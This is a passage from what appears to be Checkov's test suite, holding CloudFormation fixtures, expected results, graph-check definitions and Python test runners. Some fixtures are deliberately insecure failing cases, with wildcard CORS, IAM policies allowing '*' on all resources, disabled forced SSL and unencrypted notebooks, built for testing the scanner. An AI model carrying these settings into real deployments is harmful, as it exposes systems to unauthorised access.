    "content": "Resources:\n  ValidLambdaFunctionWithoutUrl:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Runtime: nodejs14.x\n      Role: !GetAtt ExampleRole.Arn\n      Code:\n        S3Bucket: example-bucket\n        S3Key: lambda_function_payload.zip\n\n  ValidLambdaFunction:\n    Type: AWS::Lambda::Function\n    Properties:\n      FunctionName: example_lambda_function\n      Handler: index.handler\n      Runtime: nodejs14.x\n      Role: !GetAtt ExampleRole.Arn\n      Code:\n        S3Bucket: example-bucket\n        S3Key: lambda_function_payload.zip\n\n  ValidLambdaUrl:\n    Type: AWS::Lambda::Url\n    Properties:\n      FunctionName: !Ref ValidLambdaFunction\n      Cors:\n        AllowOrigins:\n          - https://example.com\n        AllowMethods:\n          - GET\n          - POST\n      ServiceToken: \"arn:aws:lambda:us-west-2:123456789012:function:dummy-token\" # checkov:skip=CKV_SECRET_6 test secret\n\n  ValidLambdaFunctionNoCorsDefinition:\n    Type: AWS::Lambda::Function\n    Properties:\n      FunctionName: example_lambda_function\n      Handler: index.handler\n      Runtime: nodejs14.x\n      Role: !GetAtt ExampleRole.Arn\n      Code:\n        S3Bucket: example-bucket\n        S3Key: lambda_function_payload.zip\n\n  ValidLambdaUrlNoCorsDefinition:\n    Type: AWS::Lambda::Url\n    Properties:\n      FunctionName: !Ref ValidLambdaFunctionNoCorsDefinition\n      ServiceToken: \"arn:aws:lambda:us-west-2:123456789012:function:dummy-token\" # checkov:skip=CKV_SECRET_6 test secret\n\n  ValidLambdaFunctionOnlyOriginsStar:\n    Type: AWS::Lambda::Function\n    Properties:\n      FunctionName: example_lambda_function\n      Handler: index.handler\n      Runtime: nodejs14.x\n      Role: !GetAtt ExampleRole.Arn\n      Code:\n        S3Bucket: example-bucket\n        S3Key: lambda_function_payload.zip\n\n  ValidLambdaUrlOnlyOriginsStar:\n    Type: AWS::Lambda::Url\n    Properties:\n      FunctionName: !Ref ValidLambdaFunctionOnlyOriginsStar\n      Cors:\n        AllowOrigins:\n          - \"*\"\n        AllowMethods:\n          - GET\n          - POST\n      ServiceToken: \"arn:aws:lambda:us-west-2:123456789012:function:dummy-token\" # checkov:skip=CKV_SECRET_6 test secret\n\n  ValidLambdaFunctionOnlyMethodsStar:\n    Type: AWS::Lambda::Function\n    Properties:\n      FunctionName: example_lambda_function\n      Handler: index.handler\n      Runtime: nodejs14.x\n      Role: !GetAtt ExampleRole.Arn\n      Code:\n        S3Bucket: example-bucket\n        S3Key: lambda_function_payload.zip\n\n  ValidLambdaUrlOnlyMethodsStar:\n    Type: AWS::Lambda::Url\n    Properties:\n      FunctionName: !Ref ValidLambdaFunctionOnlyMethodsStar\n      Cors:\n        AllowOrigins:\n          - https://example.com\n        AllowMethods:\n          - \"*\"\n      ServiceToken: \"arn:aws:lambda:us-west-2:123456789012:function:dummy-token\" # checkov:skip=CKV_SECRET_6 test secret\n\n  InvalidLambdaFunction:\n    Type: AWS::Lambda::Function\n    Properties:\n      FunctionName: example_lambda_function\n      Handler: index.handler\n      Runtime: nodejs14.x\n      Role: !GetAtt ExampleRole.Arn\n      Code:\n        S3Bucket: example-bucket\n        S3Key: lambda_function_payload.zip\n\n  InvalidLambdaUrl:\n    Type: AWS::Lambda::Url\n    Properties:\n      FunctionName: !Ref InvalidLambdaFunction\n      Cors:\n        AllowOrigins:\n          - \"*\"\n        AllowMethods:\n          - \"*\"\n      ServiceToken: \"arn:aws:lambda:us-west-2:123456789012:function:dummy-token\" # checkov:skip=CKV_SECRET_6 test secret\n\n  ExampleRole:\n    Type: AWS::IAM::Role\n    Properties:\n      RoleName: example_role\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Action: sts:AssumeRole\n            Effect: Allow\n            Principal:\n              Service: lambda.amazonaws.com"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/MSKClusterLogging/expected.yaml",
    "content": "pass:\n  - \"AWS::MSK::Cluster.ClusterCloudWatchLogsGood\"\n  - \"AWS::MSK::Cluster.ClusterFirehoseGood\"\n  - \"AWS::MSK::Cluster.Clusters3Good\"\n  - \"AWS::MSK::Cluster.ClusterAllGood\"\nfail:\n  - \"AWS::MSK::Cluster.ClusterBadNoLoggingInfo\"\n  - \"AWS::MSK::Cluster.ClusterBadNoLoggingDisabled\"\nevaluated_keys:\n  - 'LoggingInfo/BrokerLogs/CloudWatchLogs/Enabled'\n  - 'LoggingInfo/BrokerLogs/Firehose/Enabled'\n  - 'LoggingInfo/BrokerLogs/S3/Enabled'\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/MSKClusterLogging/template.yaml",
    "content": "Description: MSK Cluster with required properties.\nResources:\n  ClusterBadNoLoggingInfo:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      Tags:\n        - Key: yor_trace\n          Value: \"mock_trace\"\n  ClusterBadNoLoggingDisabled:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: false\n  ClusterCloudWatchLogsGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: true\n  ClusterFirehoseGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          Firehose:\n            Enabled: true\n  Clusters3Good:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          S3:\n            Enabled: true\n  ClusterAllGood:\n    Type: 'AWS::MSK::Cluster'\n    Properties:\n      ClusterName: ClusterWithRequiredProperties\n      KafkaVersion: 2.2.1\n      NumberOfBrokerNodes: 3\n      BrokerNodeGroupInfo:\n        InstanceType: kafka.m5.large\n        ClientSubnets:\n          - ReplaceWithSubnetId1\n          - ReplaceWithSubnetId2\n          - ReplaceWithSubnetId3\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: true\n          Firehose:\n            Enabled: true\n          S3:\n            Enabled: true\n\n\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/RDSEncryptionInTransit/expected.yaml",
    "content": "pass:\n  - \"AWS::RDS::DBInstance.DB2PassInstance\"\n  - \"AWS::RDS::DBInstance.PostgresPassInstance\"\nfail:\n  - \"AWS::RDS::DBInstance.PostgresFailParam0Instance\"\n  - \"AWS::RDS::DBInstance.PostgresFailParamMissingInstance\"\nevaluated_keys:\n  - \"resource_type\"\n  - \"Family\"\n  - \"Parameters/rds/force_ssl\"\n  - \"Parameters/require_secure_transport\"\n  - \"Parameters/db2comm\""
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/RDSEncryptionInTransit/template.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  DB2PassParam:\n    Type: \"AWS::RDS::DBParameterGroup\"\n    Properties:\n      Description: \"My DB2 parameter group\"\n      Family: \"1db2-ae1\"\n      Parameters:\n        db2comm: \"SSL\"\n    DeletionPolicy: Retain\n  DB2PassInstance:\n    Type: \"AWS::RDS::DBInstance\"\n    Properties:\n      DBParameterGroupName:\n        Ref: \"DB2PassParam\"\n      ApplyImmediately: true\n  PostgresPassParam:\n    Type: \"AWS::RDS::DBParameterGroup\"\n    Properties:\n      Description: \"Description\"\n      Family: \"postgres123\"\n      Parameters:\n        rds.force_ssl: \"1\"\n    DeletionPolicy: Retain\n  PostgresPassInstance:\n    Type: \"AWS::RDS::DBInstance\"\n    Properties:\n      DBParameterGroupName:\n        Ref: \"PostgresPassParam\"\n      ApplyImmediately: true\n  PostgresFailParam0:\n    Type: \"AWS::RDS::DBParameterGroup\"\n    Properties:\n      Description: \"Description\"\n      Family: \"postgres123\"\n      Parameters:\n        rds.force_ssl: \"0\"\n    DeletionPolicy: Retain\n  PostgresFailParam0Instance:\n    Type: \"AWS::RDS::DBInstance\"\n    Properties:\n      DBParameterGroupName:\n        Ref: \"PostgresFailParam0\"\n      ApplyImmediately: true\n  PostgresFailParamMissing:\n    Type: \"AWS::RDS::DBParameterGroup\"\n    Properties:\n      Description: \"Description\"\n      Family: \"postgres123\"\n      Parameters:\n        something_else: \"0\"\n    DeletionPolicy: Retain\n  PostgresFailParamMissingInstance:\n    Type: \"AWS::RDS::DBInstance\"\n    Properties:\n      DBParameterGroupName:\n        Ref: \"PostgresFailParamMissing\"\n      ApplyImmediately: true\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/SageMakerIAMPolicyOverlyPermissiveToAllTraffic/expected.yaml",
    "content": "pass:\n  - \"AWS::SageMaker::NotebookInstance.aws_sagemaker_notebook_instance_pass\"\n  - \"AWS::SageMaker::NotebookInstance.aws_sagemaker_notebook_instance_pass2\"\nfail:\n  - \"AWS::SageMaker::NotebookInstance.aws_sagemaker_notebook_instance_fail\"\nevaluated_keys:\n  - 'AssumeRolePolicyDocument/Statement[?(@/Effect == Allow)]/Action[*]'\n  - 'resource_type'\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/SageMakerIAMPolicyOverlyPermissiveToAllTraffic/template.yaml",
    "content": "Resources:\n  aws_sagemaker_notebook_instance_pass:\n    Type: AWS::SageMaker::NotebookInstance\n    Properties:\n      NotebookInstanceName: my-notebook-instance\n      InstanceType: \"\"\n      RoleArn: !GetAtt aws_iam_role.Arn\n\n  aws_iam_role:\n    Type: AWS::IAM::Role\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service: sagemaker.amazonaws.com\n            Action: sts:AssumeRole\n\n  aws_sagemaker_notebook_instance_pass2:\n    Type: AWS::SageMaker::NotebookInstance\n    Properties:\n      NotebookInstanceName: my-notebook-instance\n      ServiceToken: \"\"\n      RoleArn: !GetAtt aws_iam_role2.Arn\n\n  aws_iam_role2:\n    Type: AWS::IAM::Role\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service: sagemaker.amazonaws.com\n            Action: sts:AssumeRole\n      Policies:\n        - PolicyName: my-policy\n          PolicyDocument:\n            Version: '2012-10-17'\n            Statement:\n              - Effect: Allow\n                Action: sagemaker:*\n                Resource: !Sub 'arn:aws:sagemaker:${AWS::Region}:${AWS::AccountId}:notebook-instance/*'\n                Condition:\n                  IpAddress:\n                    'aws:SourceIp': '192.0.2.0/24'\n\n  aws_sagemaker_notebook_instance_fail:\n    Type: AWS::SageMaker::NotebookInstance\n    Properties:\n      NotebookInstanceName: my-notebook-instance\n      RoleArn: !GetAtt aws_iam_role3.Arn\n\n  aws_iam_role3:\n    Type: AWS::IAM::Role\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service: sagemaker.amazonaws.com\n            Action: '*'\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/SagemakerNotebookEncryption/expected.yaml",
    "content": "pass:\n  - \"AWS::SageMaker::NotebookInstance.BasicNotebookInstanceGood\"\nfail:\n  - \"AWS::SageMaker::NotebookInstance.BasicNotebookInstanceBad\"\nevaluated_keys:\n  - \"KmsKeyId\"\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/SagemakerNotebookEncryption/template.yaml",
    "content": "Description: \"Basic NotebookInstance test update to a different instance type\"\nResources:\n  BasicNotebookInstanceBad:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n  BasicNotebookInstanceGood:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n      KmsKeyId: \"test_kms_key\"\n  ExecutionRole:\n    Type: \"AWS::IAM::Role\"\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          -\n            Effect: \"Allow\"\n            Principal:\n              Service:\n                - \"sagemaker.amazonaws.com\"\n            Action:\n              - \"sts:AssumeRole\"\n      Path: \"/\"\n      Policies:\n        -\n          PolicyName: \"root\"\n          PolicyDocument:\n            Version: \"2012-10-17\"\n            Statement:\n              -\n                Effect: \"Allow\"\n                Action: \"*\"\n                Resource: \"*\"\nOutputs:\n  BasicNotebookInstanceId:\n    Value: !Ref BasicNotebookInstance"
  },
  {
    "path": "tests/cloudformation/graph/checks/test_checks/ALBRedirectHTTPtoHTTPS.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_20\"\n  name: \"Ensure that ALB redirects HTTP requests into HTTPS ones\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - AWS::ElasticLoadBalancingV2::LoadBalancer\n      operator: within\n      attribute: resource_type\n    - or:\n      - cond_type: connection\n        operator: not_exists\n        resource_types:\n         - AWS::ElasticLoadBalancingV2::LoadBalancer\n        connected_resource_types:\n         - AWS::ElasticLoadBalancingV2::Listener\n      - and:\n        - cond_type: connection\n          operator: exists\n          resource_types:\n            - AWS::ElasticLoadBalancingV2::LoadBalancer\n          connected_resource_types:\n            - AWS::ElasticLoadBalancingV2::Listener\n        - or:\n          - and:\n            - cond_type: attribute\n              attribute: Port\n              operator: not_equals\n              value: \"80\"\n              resource_types:\n                - AWS::ElasticLoadBalancingV2::Listener\n            - cond_type: attribute\n              attribute: Protocol\n              operator: not_equals\n              value: HTTP\n              resource_types:\n                - AWS::ElasticLoadBalancingV2::Listener\n          - and:\n              - cond_type: attribute\n                attribute: Port\n                operator: equals\n                value: \"80\"\n                resource_types:\n                  - AWS::ElasticLoadBalancingV2::Listener\n              - cond_type: attribute\n                attribute: Protocol\n                operator: equals\n                value: \"HTTP\"\n                resource_types:\n                  - AWS::ElasticLoadBalancingV2::Listener\n              - cond_type: attribute\n                attribute: DefaultActions.Type\n                operator: equals\n                value: \"redirect\"\n                resource_types:\n                  - AWS::ElasticLoadBalancingV2::Listener\n              - cond_type: attribute\n                attribute: DefaultActions.RedirectConfig.Port\n                operator: equals\n                value: \"443\"\n                resource_types:\n                  - AWS::ElasticLoadBalancingV2::Listener\n              - cond_type: attribute\n                attribute: DefaultActions.RedirectConfig.Protocol\n                operator: equals\n                value: \"HTTPS\"\n                resource_types:\n                  - AWS::ElasticLoadBalancingV2::Listener"
  },
  {
    "path": "tests/cloudformation/graph/checks/test_checks/LambdaFunction.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_26\"\n  name: \"X-ray tracing is enabled for Lambda\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: attribute\n      attribute: Tracing_config.Mode\n      value:\n        - \"PassThrough\"\n        - \"Active\"\n      operator: within\n      resource_types:\n        - AWS::Lambda::Function\n    - cond_type: attribute\n      attribute: Tracing\n      value:\n        - \"PassThrough\"\n        - \"Active\"\n      operator: within\n      resource_types:\n        - AWS::Serverless::Function\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/test_checks/MSKClusterLogging.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_25\"\n  name: \"Ensure MSK Cluster logging is enabled\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: attribute\n      attribute: LoggingInfo.BrokerLogs.S3.Enabled\n      operator: equals\n      value: true\n      resource_types:\n        - \"AWS::MSK::Cluster\"\n    - cond_type: attribute\n      attribute: LoggingInfo.BrokerLogs.Firehose.Enabled\n      operator: equals\n      value: true\n      resource_types:\n        - \"AWS::MSK::Cluster\"\n    - cond_type: attribute\n      attribute: LoggingInfo.BrokerLogs.CloudWatchLogs.Enabled\n      operator: equals\n      value: true\n      resource_types:\n        - \"AWS::MSK::Cluster\"\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/test_checks/SagemakerNotebookEncryption.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_24\"\n  name: \"Ensure SageMaker Notebook is encrypted at rest using KMS CMK\"\n  category: \"ENCRYPTION\"\ndefinition:\n    cond_type: attribute\n    attribute: KmsKeyId\n    operator: exists\n    resource_types:\n      - AWS::SageMaker::NotebookInstance"
  },
  {
    "path": "tests/cloudformation/graph/checks/test_yaml_policies.py",
    "content": "import copy\nimport os\nimport warnings\nfrom typing import List\n\nfrom parameterized import parameterized_class\n\nfrom checkov.cloudformation.graph_manager import CloudformationGraphManager\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n\nfile_dir = os.path.dirname(__file__)\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n        graph_manager = CloudformationGraphManager(db_connector=db_connector)\n        super().__init__(graph_manager,\n                         os.path.abspath(os.path.join(file_dir, \"../../../../checkov/cloudformation/checks/graph_checks\")),\n                         os.path.join(file_dir, \"test_checks\"), \"cloudformation\", __file__, args)\n\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_SagemakerNotebookEncryption(self):\n        self.go(\"SagemakerNotebookEncryption\")\n\n    def test_MSKClusterLogging(self):\n        self.go(\"MSKClusterLogging\")\n\n    def test_LambdaFunction(self):\n        self.go(\"LambdaFunction\")\n\n    def test_SageMakerIAMPolicyOverlyPermissiveToAllTraffic(self):\n        self.go(\"SageMakerIAMPolicyOverlyPermissiveToAllTraffic\")\n\n    def test_ALBRedirectHTTPtoHTTPS(self):\n        self.go(\"ALBRedirectHTTPtoHTTPS\")\n\n    def test_AppSyncProtectedByWAF(self):\n        self.go(\"AppSyncProtectedByWAF\")\n\n    def test_RDSEncryptionInTransit(self):\n        self.go(\"RDSEncryptionInTransit\")\n\n    def test_ACMWildcardDomainName(self):\n        self.go(\"ACMWildcardDomainName\")\n\n    def test_CloudfrontOriginNotHTTPSOnly(self):\n        self.go(\"CloudfrontOriginNotHTTPSOnly\")\n\n    def test_LambdaOpenCorsPolicy(self):\n        self.go(\"LambdaOpenCorsPolicy\")\n\n    def test_registry_load(self):\n        registry = self.get_checks_registry()\n        self.assertGreater(len(registry.checks), 0)\n\n    def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]):\n        evaluated_keys_results = results[0].check_result[\"evaluated_keys\"]\n        self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results)\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(\"cloudformation\")\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(check_id=check['id'],\n                            check_name=check['name'],\n                            check_result=copy.deepcopy(check_result),\n                            code_block=\"\",\n                            file_path=entity.get(CustomAttributes.FILE_PATH),\n                            file_line_range=[entity.get('__startline__'), entity.get('__endline__')],\n                            resource=entity.get(CustomAttributes.BLOCK_NAME),\n                            entity_tags=entity.get('tags', {}),\n                            evaluations=None,\n                            check_class=None,\n                            file_abs_path=entity.get(CustomAttributes.FILE_PATH))\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n\n\ndef wrap_policy(policy):\n    policy['query'] = policy['definition']\n    del policy['definition']\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/test_yaml_policies_with_runner.py",
    "content": "import os\n\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.common.graph.graph_builder import CustomAttributes\n\n\ndef test_connected_node_in_results_is_never_tuple():\n    \"\"\"\n    Validates we correctly update the connected_node.\n    It cannot be a tuple, as this is unserializable to json.\n    \"\"\"\n    file_dir = os.path.dirname(__file__)\n    dir_path = os.path.join(file_dir, f\"resources\", \"ALBRedirectHTTPtoHTTPS\")\n    external_checks_dir = os.path.join(os.path.dirname(os.path.dirname(dir_path)), f\"test_checks\")\n\n    runner = Runner()\n    report = runner.run(dir_path, external_checks_dir=[external_checks_dir])\n\n    all_results = report.failed_checks + report.passed_checks + report.skipped_checks\n    for result in all_results:\n        if \"entity\" in result.check_result:\n            entity = result.check_result.get(\"entity\", {})\n            connected_node = entity.get(CustomAttributes.CONNECTED_NODE)\n            if connected_node:\n                if isinstance(connected_node, dict):\n                    dict_keys = list(connected_node.keys())\n                    assert not any([isinstance(key, tuple) for key in dict_keys])\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/conditioned_vertices/json/test.json",
    "content": "{\n    \"Parameters\": {\n        \"Parameter1\": {\n            \"Type\": \"String\",\n            \"Default\": \"parameter1name\"\n        },\n        \"Parameter2\": {\n            \"Type\": \"String\",\n            \"Default\": \"parameter2name\"\n        }\n    },\n    \"Conditions\": {\n        \"FnEqualsTrue\": {\n            \"Fn::Equals\": [\n                {\n                    \"Ref\": \"Parameter1\"\n                },\n                \"parameter1name\"\n            ]\n        },\n        \"FnEqualsFalse\": {\n            \"Fn::Equals\": [\n                {\n                    \"Ref\": \"Parameter1\"\n                },\n                \"wrongname\"\n            ]\n        },\n        \"FnNotTrue\": {\n            \"Fn::Not\": [\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter1\"\n                        },\n                        \"wrongname\"\n                    ]\n                }\n            ]\n        },\n        \"FnNotFalse\": {\n            \"Fn::Not\": [\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter1\"\n                        },\n                        \"parameter1name\"\n                    ]\n                }\n            ]\n        },\n        \"FnNotTrueThroughCondition\": {\n            \"Fn::Not\": [\n                {\n                    \"Condition\": \"FnEqualsFalse\"\n                }\n            ]\n        },\n        \"FnNotFalseThroughCondition\": {\n            \"Fn::Not\": [\n                {\n                    \"Condition\": \"FnEqualsTrue\"\n                }\n            ]\n        },\n        \"FnAndTrue\": {\n            \"Fn::And\": [\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter1\"\n                        },\n                        \"parameter1name\"\n                    ]\n                },\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter2\"\n                        },\n                        \"parameter2name\"\n                    ]\n                }\n            ]\n        },\n        \"FnAndFalse\": {\n            \"Fn::And\": [\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter1\"\n                        },\n                        \"parameter1name\"\n                    ]\n                },\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter2\"\n                        },\n                        \"wrongname\"\n                    ]\n                }\n            ]\n        },\n        \"FnAndTrueWithCondition\": {\n            \"Fn::And\": [\n                {\n                    \"Condition\": \"FnEqualsTrue\"\n                },\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter2\"\n                        },\n                        \"parameter2name\"\n                    ]\n                }\n            ]\n        },\n        \"FnOrTrue\": {\n            \"Fn::Or\": [\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter1\"\n                        },\n                        \"parameter1name\"\n                    ]\n                },\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter2\"\n                        },\n                        \"wrongname\"\n                    ]\n                }\n            ]\n        },\n        \"FnOrFalse\": {\n            \"Fn::Or\": [\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter1\"\n                        },\n                        \"wrongname\"\n                    ]\n                },\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter2\"\n                        },\n                        \"wrongname\"\n                    ]\n                }\n            ]\n        },\n        \"FnOrTrueWithCondition\": {\n            \"Fn::Or\": [\n                {\n                    \"Condition\": \"FnEqualsTrue\"\n                },\n                {\n                    \"Fn::Equals\": [\n                        {\n                            \"Ref\": \"Parameter2\"\n                        },\n                        \"wrongname\"\n                    ]\n                }\n            ]\n        }\n    },\n    \"Resources\": {\n        \"BucketFnEqualsTrue\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnEqualsTrue\"\n        },\n        \"BucketFnEqualsFalse\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnEqualsFalse\"\n        },\n        \"BucketFnNotTrue\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnNotTrue\"\n        },\n        \"BucketFnNotFalse\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnNotFalse\"\n        },\n        \"BucketFnNotTrueThroughCondition\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnNotTrueThroughCondition\"\n        },\n        \"BucketFnNotFalseThroughCondition\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnNotFalseThroughCondition\"\n        },\n        \"BucketFnAndTrue\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnAndTrue\"\n        },\n        \"BucketFnAndFalse\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnAndFalse\"\n        },\n        \"BucketFnAndTrueWithCondition\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnAndTrueWithCondition\"\n        },\n        \"BucketFnOrTrue\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnOrTrue\"\n        },\n        \"BucketFnOrFalse\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnOrFalse\"\n        },\n        \"BucketFnOrTrueWithCondition\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Condition\": \"FnOrTrueWithCondition\"\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/conditioned_vertices/yaml/test.yaml",
    "content": "Parameters:\n  Parameter1:\n    Type: String\n    Default: parameter1name\n  Parameter2:\n    Type: String\n    Default: parameter2name\nConditions:\n  FnEqualsTrue: !Equals\n    - !Ref Parameter1\n    - parameter1name\n  FnEqualsFalse: !Equals\n    - !Ref Parameter1\n    - wrongname\n  FnNotTrue: !Not\n    - !Equals\n      - !Ref Parameter1\n      - wrongname\n  FnNotFalse: !Not\n    - !Equals\n      - !Ref Parameter1\n      - parameter1name\n  FnNotTrueThroughCondition: !Not\n    - !Condition FnEqualsFalse\n  FnNotFalseThroughCondition: !Not\n    - !Condition FnEqualsTrue\n  FnAndTrue: !And\n    - !Equals\n      - !Ref Parameter1\n      - parameter1name\n    - !Equals\n      - !Ref Parameter2\n      - parameter2name\n  FnAndFalse: !And\n    - !Equals\n      - !Ref Parameter1\n      - parameter1name\n    - !Equals\n      - !Ref Parameter2\n      - wrongname\n  FnAndTrueWithCondition: !And\n    - !Condition FnEqualsTrue\n    - !Equals\n      - !Ref Parameter2\n      - parameter2name\n  FnOrTrue: !Or\n    - !Equals\n      - !Ref Parameter1\n      - parameter1name\n    - !Equals\n      - !Ref Parameter2\n      - wrongname\n  FnOrFalse: !Or\n    - !Equals\n      - !Ref Parameter1\n      - wrongname\n    - !Equals\n      - !Ref Parameter2\n      - wrongname\n  FnOrTrueWithCondition: !Or\n    - !Condition FnEqualsTrue\n    - !Equals\n      - !Ref Parameter2\n      - wrongname\nResources:\n  BucketFnEqualsTrue:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnEqualsTrue\n  BucketFnEqualsFalse:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnEqualsFalse\n  BucketFnNotTrue:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnNotTrue\n  BucketFnNotFalse:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnNotFalse\n  BucketFnNotTrueThroughCondition:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnNotTrueThroughCondition\n  BucketFnNotFalseThroughCondition:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnNotFalseThroughCondition\n  